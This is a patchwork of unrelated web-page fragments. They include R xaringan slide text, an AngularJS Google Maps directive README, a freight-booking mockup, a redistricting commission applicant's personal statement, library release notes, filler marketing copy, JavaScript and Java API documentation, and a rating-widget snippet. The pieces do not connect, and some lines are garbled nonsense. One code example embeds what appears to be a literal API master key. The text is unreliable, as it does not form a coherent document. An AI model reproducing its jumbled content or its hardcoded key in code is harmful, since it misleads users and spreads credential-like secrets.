" />
class: center, middle, inverse, title-slide # Rladies ninja presentation ## ⚔
with Xaringan and Kunoichi ###
Paula Andrea Martinez
@orchid00
### 2019-08-19 (updated: 2019-08-22) --- background-image: url(https://upload.wikimedia.org/wikipedia/commons/b/be/Sharingan_triple.svg) background-size: 100px background-position: 90% 8% # Sharingan
 The R package name **xaringan** was derived from **Sharingan**, a dōjutsu in the Japanese anime _Naruto_ with two abilities: -- - the "Eye of Insight" - the "Eye of Hypnotism" --
 "I think a presentation is basically a way to communicate insights to the audience, and a great presentation may even "hypnotize" the audience." - by Yihui Xie. --- class: middle center bg-main1 # Kunoichi #⚔ #くノ一 # 女 -- ## The Japanese word for female ninja --  --- class: middle ## Now Kunoichi is a theme of latest version of `xaringan` --- class: inverse, center, middle bg-main1 # Get Started --- # Let's do this together
 Install the **xaringan** package from **GitHub**
@yihui
[https://github.com/yihui/xaringan](https://github.com/yihui/xaringan)
 ```r devtools::install_github("yihui/xaringan") ```

 Thank you **Yihui Xie**
@xieyihui

 [https://twitter.com/xieyihui](https://twitter.com/xieyihui) --- class: split-three .row.bg-white[.content[ # Create a new R markdown file You are recommended to use the [RStudio IDE](https://www.rstudio.com/products/rstudio/). ``` 1. New Project 2. From the menu: File > New File > R Markdown > Template > From Template > Ninja presentation ``` ]] .row.bg-gray100[.content[ ### then add/modify the YAML ``` output: xaringan::moon_reader: css: ["kunoichi", "ninjutsu" "rladies-fonts"] ``` ]] .row.bg-main1[.content[
 Thank you **Emi Tanaka**
@statsgen
emitanaka

 Thank you **Alison Hill**
@apreshill
@apreshill
]] --- class: middle center bg-main1 # YAY!! ## that's pretty much it!  --- ## To see results
 - Click the **Knit** button to compile it; in other words to generate the HTML from Markdown.
 - or use the [RStudio Addin](https://rstudio.github.io/rstudioaddins/) "Infinite Moon Reader" to live preview the slides (every time you update and save the Rmd document, the slides will be automatically reloaded in RStudio Viewer. With this option it is recomended to use
 ` r options(servr.daemon = TRUE)`
 To avoid locking up your console while compiling. I added this to the Rmd. --- # Other recommended reading 1. The [remark.js](https://remarkjs.com) library; a simple, in-browser, Markdown-driven slideshow tool. 1. The [**xaringan**](https://github.com/yihui/xaringan) package to create R markdown presentations, from Yihui Xie. 1. The [**kunoichi**](https://github.com/emitanaka/ninja-theme) theme to add R-ladies flavour to your presentation, from Emi Tanaka. 1. [Rladies theme and fonts](https://alison.rbind.io/post/2017-12-18-r-ladies-presentation-ninja/) from Alison Hill. --- class: middle center bg-main1 # Extras --- class: split-two white .column.bg-white[.content[  ]] .column.bg-main1[.content.vmiddle.center[
dcossyle

 [https://www.instagram.com/dcossyle/](https://www.instagram.com/dcossyle/)

dcossyle
dcossyleon

 * look for cute giraffes
 [https://tinystats.github.io/teacups-giraffes-and-statistics/index.html](https://tinystats.github.io/teacups-giraffes-and-statistics/index.html) ]] --- class: middle center
allisonhorst
[https://github.com/allisonhorst/stats-illustrations](https://github.com/allisonhorst/stats-illustrations) --- # Tables If you want to generate a table, you can do something like this: ### R-Ladies Brisbane events so far ```r DT::datatable(events[,c(1,2,6,7)], fillContainer = FALSE) ```
--- class: middle center  See `scripts/01_rladiesBrisbane.R` --- class: middle center  See `scripts/01_rladiesBrisbane.R` --- class: middle center bg-main1 # Thanks! Slides created via the R package **xaringan** [https://github.com/yihui/xaringan](https://github.com/yihui/xaringan)
 and the theme **Kunichio** [https://github.com/emitanaka/ninja-theme](https://github.com/emitanaka/ninja-theme).

 Jumping emogies optional from **anicon** [https://github.com/emitanaka/anicon](https://github.com/emitanaka/anicon).

 Xaringan uses **remark.js** [https://remarkjs.com](https://remarkjs.com), **knitr**[http://yihui.name/knitr](http://yihui.name/knitr), and R Markdown [https://rmarkdown.rstudio.com](https://rmarkdown.rstudio.com).

 I've used a lot of data wrangling and googling, and was inspired by many **RLadies** .


GoogleMap AngularJS Directive
NOTE: 1.4.0 is released.
- support lazy loading of maps js, which does not require to
http://maps.google.com/maps/api/js
NOTE: 1.2.0 is released.
- events with
controller as
syntax, thanks to Simon
NOTE: 1.1.0 is released.
- marker directive can have icon attribute as JSON
- map with init-event attribute for initialization by an event
NOTE: 1.0.0 is released.
Now, it covers
all official google examples using new directives. The new
directives are;
- Layer Directives
traffic-layer, transit-layer, weather-layer, bicycling-layer, cloud-layer, dynamic-maps-engine-layer, fusion-tables-layer, heatmap-layer, kml-layer, maps-engine-layer custom-control - info-window
- map-data
- map-type
- overlay-map-type
There is already one for this. However, I found myself doing totally different approach for this purpose than the existing one, such as;
- Everything in tag and attributes.
Thus, basic users don't even have to know what Javascript is. - Expose all original Google Maps V3 api to
the user.
No hiding, no wraping, or whatsoever. By doing so, programmers don't need to learn how to use this module. You only need to know Google Maps V3 API.
There is a blog that introduces this module. The title of it is 'Google Map As The Simplest Way'
To Get Started
For Bower users,
$ bower install ngmap
Include
ng-map.min.js
as well as google maps.
<script src="http://maps.google.com/maps/api/js"></script>
<script src="http://rawgit.com/allenhwkim/angularjs-google-maps/master/build/scripts/ng-map.min.js"></script>
name angular app as ngMap, or add it as a dependency
var myApp = angular.module('myApp', ['ngMap']);
After map is initialized, you will have one event and map instances
Event:
mapInitialized
with parameter with mapIn case your map directive scope is different from your controller scope, use this event to get the map instance.
app.controller('parentParentController', function($scope) { $scope.$on('mapInitialized', function(event, map) { map.setCenter( .... ) .. }); });
Instances:
$scope.map
$scope.map.markers
$scope.map.shapes
- etc
Lazy Loading
Simply wrap the map tag with
map-lazy-load="http://maps.google.com/maps/api/js"
.
<div map-lazy-load="http://maps.google.com/maps/api/js">
<map center="41,-87" zoom="3"></map>
</div>
Directives
<map .. >
As defined on MapOptions,
you can add any attributes, and events starting witn
on-
. Please note that event value must be a function.


Ticoult1282.github.io
Olimpia splendid UNICO EASY HP Handbücher.
Olimpia splendid UNICO EASY HP Handbücher and Showtec City Painter 18000 Led Handbuch.


Commit to Pay $1,606, by Visa ..1234, to Haul
This Load
Cargo
Chief Best Quote: 201,101; April 15, 2012, 14:25 PST, 4 hour bidding
window
For: ABC Strawberry Growers,<PHONE_NUMBER><EMAIL_ADDRESS>What: Safeway PO SW234-098, Strawberries, 3 Pallets, each L
48 W 40
H 48 inches,
Not Stackable, Total weight 3,000 #,
Class 50
Origin:
Gilroy, CA, 95020, Business with Dock or Forklift
Destination:
Menasha, WI, 54952, Business with Dock or Forklift;
Appointment Required, ~2,238 Miles
Carrier Selected: Smith & Brown, a 4 star carrier,
5 day transit time estimated, tracking
available, price to haul this load:
$1,450, 40% Savings
Commit button contains
the payment type, credit,
Visa, M/C or Amex
Dev
Team:
This screen is too busy, so
we felt that making it longer, hard
to do in PPT, with scrolling would
be better than having it so busy


{% extends 'base.html' %} {% block title %} Search Reasults {% endblock title %} {% block blogactive %} active {% endblock blogactive %} {% block body %}
No search results found :
Your Search : {{search}} - did not match any blog content.{{post.content |safe | truncatechars:600}}


 The wire can get bent out of shape as the slide moves forward and collides with it, and the bolts can fall out or damage the metal of the slide itself as they collide. To solve this, we decided to make a 3D printed part to serve as a lock. This went through several iterations in design (all can be seen below) before we were satisfied, and we printed out two copies of the final version in nylon so that they would be strong, but still a bit flexible so that we could pry them up and remove the whole slide mechanism for maintenance if need be.
The parts serve their purpose well. The only issue with the version we are using is that the thickness of the beam connecting the hook and the attachment point is so thick that prying up the pieces is more difficult than originally intended, but it is still possible and further revisions to the part will likely be too time-consuming for their benefits to oughtweigh those of putting the same time into programming the robot's autonomous routines.


[1]
luckily i had a relative living in new york.
[2]
luckily i had a relative living in the customs forms myself.


Several scheduling applications exist on the market, but are often forgotten about and go unused. They are great at tracking your schedule but fail in one key aspect, they get deleted because the incentive and motivation is just not there. Having a great task tracker application is great but having a way to track tasks and have fun is paramount.
That's where Time Saver comes in! Not only does it track tasks and their due dates, it gives points for completed and graded tasks. User's earn these points and compete against friends to see who can get the most points.
User Studies, Design, Writing
Storyboarding, Design, User Studies
Storyboarding, User Studies, Design
Ideation, Writing, User Studies


Track and Share your emotions
| User Id | Emotion | Reason | Target | Location | Link | |
|---|---|---|---|---|---|---|
| {{ emo.userId }} | {{ emo.emotion }} | {{ emo.reason }} | {{ emo.target }} | {{ emo.location }} | {{ emo.link }} | Edit Emotion |
|
No Emotions Found |
{{ uc.emotions | json }}


Saul Wiggin's Personal Website
Books
Academic Papers
My Blog and Soundcloud Account
My Github
My CV
My Data
My Portfolio
The Toughest Journey


Beatrice Kopp
Democrat
Retired Educator 2004 - 2013 Clara Metz Elementary, Adams County District 50 2015 - 2018 Horizons K-8, Boulder Valley School District
BS in Molecular Biology from CU Elementary Teaching Certification (K-6) from CU Master's Degree in Linguistically Diverse Education from UNC
80305
In 2016 I joined INDIVISIBLE and marched in several rallies to support Women, Science, Gun Sense Legislation, and Environmental Advocacy. In 2020 I donated money to campaigns for President and US Senate - Biden, Warnock, Ossoff, Jones, Hegar, Greenfield, Peters, Perkins, Gideon, Bollier, Kelly, Bullock, Gross, Cunningham, Harrison, and Hickenlooper. I donated to the campaign of Diane Mitsch Bush. I also donated to the campaign of Yes on the National Popular Vote.
I've been involved in my neighborhood association since 2010 - Martin Acres Neighborhood Association (MANA) which provides opportunities to volunteer helping neighbors with a variety of chores. I volunteered with Vote Forward in 2020 to write letters to registered voters in various states; voters who have a history of not voting in every election. I urged them to vote in the 2020 election. I did not ask or urge them to vote for any particular candidate; I just reminded them that voting is our most powerful tool.
My most meaningful experiences in this realm involved meeting with my school administrator and eventually with school district administrators to advocate for students. In the first instance, I wanted to highlight and solve the problem of students not eating district provided school lunches. Students found the food unappealing and so would not eat. Students at my school all qualified for free lunches and bringing lunch from home was not an option. We were able to agree that the district would provide mores food choices for students and this helped solve the problem. In the second instance, I was able to advocate for more thorough and consistent cleaning of classrooms by providing scientific evidence that surfaces in classrooms were contaminated with bacteria. In both cases students' health was the motivation.
The results of the 2020 census will inform us about population growth necessitating changes to our congressional and legislative district boundaries. As the thoughtful voters of Colorado decided that this work should be done by an independent commission, it would be an tremendous honor to serve them as part of the teams working to create these new district maps. I imagine that the work will be challenging while also providing an opportunity to learn more about the workings of our democracy and I find that quite appealing.
Working with a team is energizing, challenging, fulfilling, and a huge opportunity to learn. I have no agenda with regard to the commission other than working with others to create a document that provides the most equitable layout of districts for the future of voting/representation in our state. I am a calm but enthusiastic advocate of civility and good listening. I like to think that I have some skill at asking good questions. These qualities are essential for promoting consensus and agreement in most working-group settings. With a background in both teaching and in science my tendency is to be both fair and impartial. My experience is that there is much work to be done before conclusions can be drawn. Gathering information/data led to good decision making during both of my careers.
After graduating with a degree in molecular biology I worked as research assistant at CU for 6 years until my first child was born. It was a job that required gathering, organizing, and analyzing data. Keeping meticulous notes became second nature. The necessity to problem solve was a daily occurrence and often required group solutions thereby making good communication essential. 10 years later when I was diagnosed with cancer I used these same methods to research and decide on the best treatment options. These methods and skills still inform my approach to life.
female


Version 3.1 of MFEM, a lightweight, general, scalable C++ library for finite element methods, is now available.
The goal of MFEM is to enable research and development of scalable finite element discretization and solver algorithms through general finite element abstractions, accurate and flexible visualization, and tight integration with the hypre linear solvers library. It has many features, including:
- 2D and 3D, arbitrary high-order H1, H(curl), H(div), L2 and NURBS elements.
- Parallel version scalable to hundreds of thousands of MPI cores.
- Conforming or nonconforming adaptive mesh refinement (AMR), including anisotropic refinement.
- Galerkin, mixed, isogeometric, DG and DPG discretizations.
- Support for triangular, quadrilateral, tetrahedral and hexahedral elements with curved boundaries.
- Lightweight interactive OpenGL visualization with GLVis.
Some of the new additions in version 3.1 are:
- Substantially improved non-conforming adaptive mesh refinement, which now works also in parallel.
- General finite element spaces and solvers on surfaces and mesh skeletons.
- Support for hybridization and static condensation, with a new FEM <-> linear system interface.
- New eigensolvers and improved linear solvers and preconditioners.
- Visualization of non-conforming meshes and grid functions, and vector fields on surface meshes.
- Six new examples codes for parallel AMR, eigenvalue problems and DG diffusion.
- Five new electromagnetic and meshing miniapps.
MFEM is freely available under LGPL 2.1.
For more details, see the interactive documentation and the full description of the changes.


The header of the form.
String, default = ''
The header can be simple text or HTML. If you change .header property, you will need to call
.refresh() method to refresh the form. If header is not set it will not be
rendered.
Header can be defined during object creation:
Or any time after the form has been created:


Amet minim mollit non deserunt ullamco est sit aliqua dolor do
consequat duis enim velit mollit.
Amet minim mollit non deserunt ullamco est sit aliqua
SEO audit
Planning
Keyword research
Multimedia content
Social Media Marketing
Real time and data
Web optimization
Analyzing spam back links
Testing mobile-friendliness
Identifying indexing problems
Analyzing spam back links
Testing mobile-friendliness
Amet minim mollit non deserunt ullamco est sit aliqua
Search ads
Display ads
Social ads
Remarking ads
Local service ads
Google shopping
Custom data-driven Ads
PPC ad tracking
PPC campaign management
PPC advertising
Paid search campaign
Paid search result
Amet minim mollit non deserunt ullamco est sit aliqua
Long-tail keywords
Cost per click (CPC)
Quality score
Quantity score
PPC campaigns
Reach people interest
Typically include a photo and text.
New custom audiences
Analyzing spam back links
audience in your Display
Analyzing spam back links
Testing mobile-friendliness


new Manager(opts)
A manager instance acts as an entry point for a group of data collections.
Parameters:
| Name | Type | Argument | Description |
|---|---|---|---|
opts |
object |
<optional> |
Deprecated: Use configure method to setup the instance. |
- Source:
Members
-
addReplicaSet
-
Creates new replica set.
- Source:
-
collections
-
An array containing all established data collections. Individual collections may be connected to different data stores.
- Source:
-
connections
-
A collection of predefined data store (database) connections.
- Source:
-
defaultConnection
-
Specifies the default connection for this instance. The default value is
"fs-default"
.- Source:
-
schema
-
A collection of data, index and mapping definitions. Definitions are optional in most cases.
- Source:
Methods
-
addCollection(name, connection, interceptors, schema, done) → {Manger}
-
Creates new data colledtion and adds it to this instance.
Parameters:
Name Type Argument Description name
string The name of the data collection. The name must be unique within a Manger instance.
connection
string <optional>
Specifies which connection should the collection use to store and retrieve data. If omitted the default connection will be used.
interceptors
Array <optional>
An array of interceptor function to attach to this collection.
schema
string | object <optional>
The name of a predefined schema for this colleciton or an object representing the data schema.
done
function <optional>
Optional callback that will be called when the collection is initialized.
- Source:
Returns:
- This instance.
- Type
- Manger
-
addConnection(name, provider, opts) → {Manger}
-
Adds new data sotre connection for this instance. Each connection represents a connection to a database or data storage service with specific configuration (options).
Every manager instance has one pre-initialized default connection with the following parameters:
- name: "fs-defalut"
- provider: "file-system"
- connection string: "./data" - the path is relative to the
process.cwd()
The default connection can be changed:
entree.defaultConnection = "mongo-default";
Parameters:
Name Type Description name
string The name of the connection. The name must be unique within a Manger instance.
provider
string This could be the name of a built-in data provider, e.g.
file-system
,mongodb
and etc., orrequire
module implementing custom provider.opts
string | object The configuration information for initializing data provider instances. If this argument is string, it is assumed to be a connection string. This argument is required and at least connection string must be present.
- Source:
Returns:
- This instance.
- Type
- Manger
Example
var entree = require("entree"); entree.addConnection("fs-default", "file-system", "./data"); entree.addConnection("mongo-default", "mongodb", "mongodb://localhost/entreeTest"); entree.addConnection("mongo-2", "mongodb", { connStr: "mongodb://<IP_ADDRESS>/node2" }); entree.addConnection("everlive", "everlive", { connStr: "http://api.everlive.com/v1/uZEGyZYKiSq5CTSq/", authorization: "MasterKey PqmmvlWWBF8svReW8p3mkYG9X61nus1w" });
-
addProvider(provider, name, done) → {Manger}
-
Does the same as addCollection method, but it accepts data provider instance instead of configuration.
Parameters:
Name Type Argument Description provider
Provider An instance of Provider class.
name
string The name of the data collection. The name must be unique within a Manger instance.
done
function <optional>
Optional callback that will be called when the collection is initialized.
- Source:
Returns:
- This instance.
- Type
- Manger
-
configure(opts, callback)
-
Sets up the entire infrastructure for the current Entree instance. That includes database connections, data collections, data schemas, interceptors, replica sets and shards. The configuration information can be provided either as an object argument for this method or a configuration document (file) in JSON format. For full description of the configuration format please see the Configuration tutorial.
If the
opts
argument is omitted, Entree will try to find "data-model" document in the Default Config Collection. By convention "data-model" is the default configuration file for Entree. There may be additional configuration documents as described in the Default Config Collection tutorial.This method may be called multiple times; in which case all non-overlapping settings will be appended and overlapping ones will be merged.
Parameters:
Name Type Argument Description opts
object <optional>
Object containing configuration information and additional options.
callback
function <optional>
An optional callback that will be called after the configuration is processed and all connections are initialized.
- Source:
-
createContext(context) → {Context}
-
Creates a context object that is passed as the first argument in action methods such as insert, update, select and etc. This function just wraps the original context that is passed as an argument. The wrapper is needed to properly distinguish the context from the rest of the arguments.
Execution context is used to pass arguments to interceptors and shards. For instance, authorization interceptor will require an
user
object in the context to determine the rights of the caller for the current operation.Parameters:
Name Type Description context
object The actual context.
- Source:
Returns:
- The context for the current execution;
- Type
- Context
Example
var entree = require("entree"); app.post("/items", function (req, res) { var context = entree.createContext(req.user); entree.items.insert(context, req.body, function (err, result) { if (err) { res.statusCode = 500; return res.send(err.message); } res.send(JSON.stringify(result)); }); });
-
dispose(done) → {null}
-
Closes all opened database connections, clears current state and cached data if any. The manager instance can no longer be used after dispose.
Parameters:
Name Type Description done
function An optional callback that will be called after the manager is disposed.
- Source:
Returns:
- Type
- null
-
init()
-
Alias to configure method.
- Source:
-
removeCollection(name) → {Manger}
-
Removes the specified data collection from this instance.
Parameters:
Name Type Description name
string The name of the collection to remove.
- Source:
Throws:
Will throw an error if the specified collection does not exist.Returns:
- This instance.
- Type
- Manger
-
removeConnection(name) → {Manger}
-
Removes the specified connection form this instance.
Parameters:
Name Type Description name
string The name of the connecton to remove.
- Source:
Returns:
- This instance.
- Type
- Manger
-
resolveInterceptor(name) → {module}
-
Resolves and loads the specified interception module.
Parameters:
Name Type Description name
string The name of a built-in interceptor or path to a custom interception module.
- Source:
Returns:
- An instance of interception module.
- Type
- module
Example
var entree = require("entree"), cache = enree.resolveInterceptor("cache"), stores = [ { store: "memory", max: 1000, ttl: 10 }, { store: "redis", db: 0, ttl: 100 } ], caching = cache.interception(stores, ["get", "select"]); entree.addCollection("users", [caching]); // or add interceptor at later stage entree.users.use(caching);
-
resolveProvider(name) → {Provider}
-
Resolves and loads the specified data provider type.
Parameters:
Name Type Description name
string The name of a built-in data provider or path to a custom provider module.
- Source:
Returns:
- An instance of the specified data provider.
- Type
- Provider
-
setCollections(name) → {FluentContext}
-
Configures a set of data collections using fluent interface.
Parameters:
Name Type Description name
stirng The name of the first data collection in the set.
- Source:
Returns:
- Type
- FluentContext
Example
manager .setCollections("users") .setConnection("mongo-default") .setSchema({ __name__: "user", name: String, age: Number, roles: Array }) .use(logging) .use(caching) .addCollection("comments") .setConnection("mongo-hq") .use(caching) .done(function (err) { // collections are ready to be used });


Anytime Is Train Time
Daily AMTRAK Train Schedule
Current Train Schedule
Train Name
Destination
Frequncy (min)
Next Arrival
Minutes Away
Add Train Schedule
Train Name
Destination
First Train Time (HH:mm - military time)
Frequncy
Submit


Money: {{ money }}
Open pack: price {{ packCost }}
Increase probability: price {{ probabilityCost }}
Increase max rarity (once)


Coffee Plant
The coffee plant is a woody perennial evergreen dicotyledon that belongs to the Rubiaceae family. Because it grows to a relatively large height, it is more accurately described as a coffee tree. It has a main vertical trunk (orthotropic) and primary, secondary, and tertiary horizontal branches (plagiotropic).


Supply Chain
+ Add Record
Add a new record
×
Latitude, Longitude
Latitude and Longitude of the buyer.
Date
This date will be set as the date of receiving the new record.
Weight
KG
LB
This is the weight of the cocoa record to add.
Quantity
The quantity to add.
Conformity
By checking this box you agree on the
CocoaCertify terms of sustainable Cocoa Production
.
Transfer Record
×
Buyer Address
This address will be the owner of the new record.
Latitude, Longitude
Latitude and Longitude of the buyer.
Date
This date will be set as the date of receiving the new record.

Weight
KG
LB
This is the weight of the cocoa record to transfer.
Quantity
The quantity to transfer.
Generated QR Code
×


@Deprecated public class Shoppinglist extends java.lang.Object implements java.lang.Comparable<Shoppinglist>, SyncState<Shoppinglist>, IErn<Shoppinglist>, IJson<org.json.JSONObject>, android.os.Parcelable
| Modifier and Type | Field and Description |
|---|---|
static java.lang.String |
ACCESS_PRIVATE
Deprecated.
Access level that only permits the owner of the list to view it.
|
static java.lang.String |
ACCESS_PUBLIC
Deprecated.
Access level that makes it visible to everyone, but only editable
to anyone who has a
share with read/write privileges. |
static java.lang.String |
ACCESS_SHARED
Deprecated.
|
static android.os.Parcelable.Creator<Shoppinglist> |
CREATOR
Deprecated.
|
static java.util.Comparator<Shoppinglist> |
NAME_COMPARATOR
Deprecated.
Compare object, that uses
name
to compare two lists. |
static java.lang.String |
TAG
Deprecated.
|
static java.lang.String |
TYPE_SHOPPING_LIST
Deprecated.
The default
Shoppinglist type |
static java.lang.String |
TYPE_WISH_LIST
Deprecated.
A type used for wishlists, this could be for christmas, birthdays e.t.c.
|
DELETE, ERROR, SYNCED, SYNCING, TO_SYNC
TYPE_CATALOG, TYPE_COUNTRY, TYPE_DEALER, TYPE_OFFER, TYPE_SHOPPINGLIST, TYPE_STORE, TYPE_USER
| Modifier and Type | Method and Description |
|---|---|
boolean |
compare(java.lang.Object obj,
boolean modified,
boolean syncState,
boolean user)
Deprecated.
|
int |
compareTo(Shoppinglist another)
Deprecated.
Compare method, that uses the
name
to compare two lists. |
int |
describeContents()
Deprecated.
|
boolean |
equals(java.lang.Object obj)
Deprecated.
|
static java.util.ArrayList<Shoppinglist> |
fromJSON(org.json.JSONArray array)
Deprecated.
Convert a
JSONArray into a List ;. |
static Shoppinglist |
fromJSON(org.json.JSONObject object)
Deprecated.
A factory method for converting
JSONObject into a POJO. |
static Shoppinglist |
fromName(java.lang.String name)
Deprecated.
Factory method for creating a shoppinglist from a name.
|
java.lang.String |
getAccess()
Deprecated.
Get the access level for this
Shoppinglist , that other will have. |
java.lang.String |
getErn()
Deprecated.
Get the ShopGun Resource Name (ERN) for this object.
|
java.lang.String |
getErnType()
Deprecated.
Returns a ERN type.
|
java.lang.String |
getId()
Deprecated.
Get the id for this object.
|
org.json.JSONObject |
getMeta()
Deprecated.
Get the meta information for this
Shoppinglist . |
java.util.Date |
getModified()
Deprecated.
Get the latest modified date for the
Shoppinglist |
java.lang.String |
getName()
Deprecated.
Get the human readable name for this
Shoppinglist |
Share |
getOwner()
Deprecated.
Get the
owner of the Shoppinglist |
java.lang.String |
getPreviousId()
Deprecated.
Get the
id of the item that is 'above' or the
previous element in the list of shoppinglists for
this user, when you display the lists to the user. |
java.util.HashMap<java.lang.String,Share> |
getShares()
Deprecated.
Get a
Map of all shares in this Shoppinglist |
int |
getState()
Deprecated.
Get the current state of this object.
|
java.lang.String |
getTheme()
Deprecated.
Get the shoppinglist theme id.
|
java.lang.String |
getType()
Deprecated.
Get the type of
Shoppinglist
Currently ShopGun are using the two types below, but you are free to
do other types too. |
int |
getUserId()
Deprecated.
Get the id, of the user that has this
Shoppinglist . |
int |
hashCode()
Deprecated.
|
Shoppinglist |
putShare(Share share)
Deprecated.
Add a share in the list of
shares that may read/write to
this Shoppinglist . |
Shoppinglist |
putShares(java.util.Collection<Share> shares)
Deprecated.
Appends/edit the current list of
shares that may read/write
this Shoppinglist . |
Shoppinglist |
removeShare(Share s)
Deprecated.
Remove a
Share from this Shoppinglist . |
boolean |
same(java.lang.Object obj)
Deprecated.
|
Shoppinglist |
setAccess(java.lang.String access)
Deprecated.
Set the access level for this
Shoppinglist . |
Shoppinglist |
setErn(java.lang.String ern)
Deprecated.
Set the ShopGun Resource Name (ERN) for this object.
|
Shoppinglist |
setId(java.lang.String id)
Deprecated.
Set the id for this object.
|
Shoppinglist |
setMeta(org.json.JSONObject meta)
Deprecated.
Set any meta information you may wish on the
Shoppinglist . |
Shoppinglist |
setModified(java.util.Date time)
Deprecated.
Set the latest modified date for this
Shoppinglist . |
Shoppinglist |
setName(java.lang.String name)
Deprecated.
Set the name for this
Shoppinglist |
Shoppinglist |
setPreviousId(java.lang.String id)
Deprecated.
Set the
id of the item that is 'above' or the
previous element in the list of shoppinglists for
this user, when you display the lists to the user. |
Shoppinglist |
setShares(java.util.List<Share> shares)
Deprecated.
Update the set of
shares that may read/edit this Shoppinglist |
Shoppinglist |
setState(int state)
Deprecated.
Set a new
SyncState for this object. |
Shoppinglist |
setTheme(java.lang.String id)
Deprecated.
Method for getting and setting a theme for a shoppinglist.
|
Shoppinglist |
setType(java.lang.String type)
Deprecated.
Set the type of
Shoppinglist |
Shoppinglist |
setUserId(int userId)
Deprecated.
Set the id of the user, that this
Shoppinglist is associated with. |
org.json.JSONObject |
toJSON()
Deprecated.
|
void |
writeToParcel(android.os.Parcel dest,
int flags)
Deprecated.
|
public static final java.lang.String TAG
public static final java.lang.String TYPE_SHOPPING_LIST
Shoppinglist
typepublic static final java.lang.String TYPE_WISH_LIST
public static final java.lang.String ACCESS_PRIVATE
public static final java.lang.String ACCESS_SHARED
public static final java.lang.String ACCESS_PUBLIC
share
with read/write privileges.public static final android.os.Parcelable.Creator<Shoppinglist> CREATOR
public static java.util.Comparator<Shoppinglist> NAME_COMPARATOR
name
to compare two lists.public static Shoppinglist fromName(java.lang.String name)
name
- A name for the Shoppinglist
Shoppinglist
public static java.util.ArrayList<Shoppinglist> fromJSON(org.json.JSONArray array)
JSONArray
into a List
;.array
- A JSONArray
with a valid API v2 structure for a Shoppinglist
List
of POJOpublic static Shoppinglist fromJSON(org.json.JSONObject object)
JSONObject
into a POJO.object
- A JSONObject
with a valid API v2 structure for a Shoppinglist
Shoppinglist
, or null
if object
is null
public org.json.JSONObject toJSON()
public java.lang.String getId()
IErn
getId
in interface IErn<Shoppinglist>
String
, or null
public Shoppinglist setId(java.lang.String id)
IErn
setId
in interface IErn<Shoppinglist>
id
- An idpublic java.lang.String getErn()
IErn
ERN is a unique identifier for objects in the ShopGun API v2, and should in most cases be generated by the server, and not by the client
getErn
in interface IErn<Shoppinglist>
String
, or nullpublic Shoppinglist setErn(java.lang.String ern)
IErn
ERN is a unique identifier for objects in the ShopGun API v2, and should in most cases be generated by the server, and not by the client
setErn
in interface IErn<Shoppinglist>
ern
- A Stringpublic java.lang.String getErnType()
IErn
getErnType
in interface IErn<Shoppinglist>
public java.lang.String getName()
Shoppinglist
null
public Shoppinglist setName(java.lang.String name)
Shoppinglist
name
- A namepublic java.lang.String getAccess()
Shoppinglist
, that other will have.public Shoppinglist setAccess(java.lang.String access)
Shoppinglist
. Current valid options are:
access
- A access stringpublic java.util.Date getModified()
Shoppinglist
public Shoppinglist setModified(java.util.Date time)
Shoppinglist
.
If you are using the ListManager
this will implicitly be
handled for you.
time
- A date for latest edit to the listpublic java.lang.String getPreviousId()
id
of the item that is 'above' or the
previous element in the list of shoppinglists
for
this user, when you display the lists to the user.
If there are no Shoppinglist
above this one the value will be
ListUtils.FIRST_ITEM
id
public Shoppinglist setPreviousId(java.lang.String id)
id
of the item that is 'above' or the
previous element in the list of shoppinglists
for
this user, when you display the lists to the user.
If there are no Shoppinglist
above this one the value will be
ListUtils.FIRST_ITEM
important if you are using ListManager
other
shoppinglists
will have their
previous_id
,
modified
e.t.c. updated to reflect
any changes to this Shoppinglist
, but if you do not use the
ListManager
you must update all other Shoppinglist
that may be accefted by these changes
id
- A new previous_idpublic java.lang.String getType()
Shoppinglist
Currently ShopGun are using the two types below, but you are free to
do other types too.
public Shoppinglist setType(java.lang.String type)
Shoppinglist
Currently ShopGun are using the two types below, but you are free to do other types too.
type
- A type stringpublic java.util.HashMap<java.lang.String,Share> getShares()
Map
of all shares in this Shoppinglist
public Shoppinglist setShares(java.util.List<Share> shares)
shares
that may read/edit this Shoppinglist
This method will override the current shares
in
the list. To append/edit the current set of shares use putShares(Collection)
shares
- A new list of shares
public Shoppinglist putShares(java.util.Collection<Share> shares)
shares
that may read/write
this Shoppinglist
.shares
- A list of shares
to append/editpublic Shoppinglist putShare(Share share)
shares
that may read/write to
this Shoppinglist
. If the email
already
exists, it will be overridden.share
- A share to add/editpublic Shoppinglist removeShare(Share s)
Share
from this Shoppinglist
.
This will revoke/remove all the privileges the share previously had, to read/write to the list.
s
- The share to removepublic org.json.JSONObject getMeta()
Shoppinglist
.
Meta doesn't currently have any restrictions other that it must
be a JSONObject
, what goes inside is completely up to you.
What being said, please ensure not to accidentally override any keys
that others may have set on the object. This can be done by name spacing
your keys. Currently ShopGun are using the eta_
name space for
our keys.
JSONObject
public Shoppinglist setMeta(org.json.JSONObject meta)
Shoppinglist
.
important: to avoid deleting others keys by getting old meta
information from getMeta()
Meta doesn't currently have any restrictions other that it must
be a JSONObject
, what goes inside is completely up to you.
What being said, please ensure not to accidentally override any keys
that others may have set on the object. This can be done by name spacing
your keys. Currently ShopGun are using the eta_
name space for
our keys.
meta
- The new meta date to usepublic java.lang.String getTheme()
public Shoppinglist setTheme(java.lang.String id)
id
- A theme idpublic Share getOwner()
owner
of the Shoppinglist
Share
that is the owner, or null
public int getUserId()
Shoppinglist
.
This is mostly a use case when storing the item in a DB, where several
users can have access to the same item (same getId()
.
public Shoppinglist setUserId(int userId)
Shoppinglist
is associated with.
This is mostly a use case when storing the item in a DB, where several
users can have access to the same item (same getId()
.
userId
- An id of a userpublic int getState()
SyncState
getState
in interface SyncState<Shoppinglist>
SyncState
public Shoppinglist setState(int state)
SyncState
SyncState
for this object.setState
in interface SyncState<Shoppinglist>
state
- A SyncState
(where state
>=
SyncState.TO_SYNC
&&
state
<=
SyncState.ERROR
)public int compareTo(Shoppinglist another)
name
to compare two lists.compareTo
in interface java.lang.Comparable<Shoppinglist>
public boolean same(java.lang.Object obj)
public boolean compare(java.lang.Object obj, boolean modified, boolean syncState, boolean user)
public int hashCode()
hashCode
in class java.lang.Object
public boolean equals(java.lang.Object obj)
equals
in class java.lang.Object
public int describeContents()
describeContents
in interface android.os.Parcelable
public void writeToParcel(android.os.Parcel dest, int flags)
writeToParcel
in interface android.os.Parcelable


Simple clickable rating
var div = document.getElementById("myBasicRatingDefault");
var amtRating = new Askmethat.AskmethatRating(div, 2);
Simple clickable rating
var options = {
backgroundColor : "#e5e500",
hoverColor: "#ffff66",
fontClass: "fa fa-star",
minRating: 1,
maxRating: 5,
readonly: false,
